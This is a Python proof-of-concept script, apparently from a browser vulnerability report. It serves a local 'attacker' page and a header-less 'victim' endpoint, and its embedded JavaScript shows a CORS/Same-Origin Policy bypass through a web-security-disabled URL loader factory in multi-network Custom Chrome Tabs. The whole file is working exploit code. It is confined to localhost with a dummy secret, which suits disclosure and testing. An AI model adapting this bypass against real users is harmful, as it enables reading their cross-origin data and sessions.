#!/usr/bin/env python3
# Serves the attacker landing page on :8080 and a "victim" cross-origin
# endpoint on :9090. The victim endpoint deliberately sends NO CORS headers
# so that, under normal Same-Origin Policy enforcement, the renderer must
# never see its body.
#
# In a multi-network CCT with the renderer-injection patch applied, the
# fetch() to http://127.0.0.1:9090/secret?use-data-factory is routed through
# the renderer's "data" scheme-specific URLLoaderFactory, whose terminal is a
# browser-trusted CorsURLLoaderFactory with disable_web_security=true. The
# response body is then readable by the attacker page despite the missing
# Access-Control-Allow-Origin header.

import http.server
import socketserver
import threading

ATTACKER_PORT = 8080
VICTIM_PORT = 9090
SECRET = b"CCT-MULTI-NETWORK-CORS-BYPASS-9f3e2a"

POC_HTML = f"""<!doctype html>
<meta charset=utf-8>
<title>multi-network CCT CORS-disabled scheme factory</title>
<pre id=log></pre>
<script>
const log = m => document.getElementById('log').textContent += m + '\\n';
(async () => {{
  log('attacker origin: ' + location.origin);
  // The ?use-data-factory marker tells the patched renderer to send this
  // request down the "data" scheme-specific URLLoaderFactory pipe instead of
  // the default network factory. In a multi-network CCT that pipe terminates
  // at a CorsURLLoaderFactory with disable_web_security=true,
  // is_trusted=true, process_id=browser().
  const victim =
      'http://127.0.0.1:{VICTIM_PORT}/secret?use-data-factory';
  log('fetching cross-origin (no ACAO): ' + victim);
  try {{
    const r = await fetch(victim, {{mode: 'cors', credentials: 'include'}});
    const body = await r.text();
    log('VULNERABLE: read cross-origin body without CORS: ' + body);
    document.title = 'VULNERABLE: ' + body;
  }} catch (e) {{
    log('blocked (expected on a non-multi-network / unpatched build): ' + e);
    document.title = 'BLOCKED';
  }}
}})();
</script>
""".encode()


class Attacker(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/poc.html') or self.path == '/':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Content-Length', str(len(POC_HTML)))
            self.end_headers()
            self.wfile.write(POC_HTML)
        else:
            self.send_error(404)

    def log_message(self, fmt, *a):
        print('[attacker:%d] %s' % (ATTACKER_PORT, fmt % a))


class Victim(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Intentionally NO Access-Control-Allow-Origin header.
        # text/javascript keeps the body ORB-safe so the only thing standing
        # between the renderer and this body is CORS — which the vulnerable
        # factory has disabled.
        self.send_response(200)
        self.send_header('Content-Type', 'text/javascript')
        self.send_header('Set-Cookie', 'victim_session=abc; HttpOnly')
        self.send_header('Content-Length', str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, fmt, *a):
        print('[victim:%d]   %s' % (VICTIM_PORT, fmt % a))


def serve(port, handler):
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer(('127.0.0.1', port), handler)
    print('listening on 127.0.0.1:%d' % port)
    httpd.serve_forever()


if __name__ == '__main__':
    threading.Thread(target=serve, args=(VICTIM_PORT, Victim),
                     daemon=True).start()
    serve(ATTACKER_PORT, Attacker)
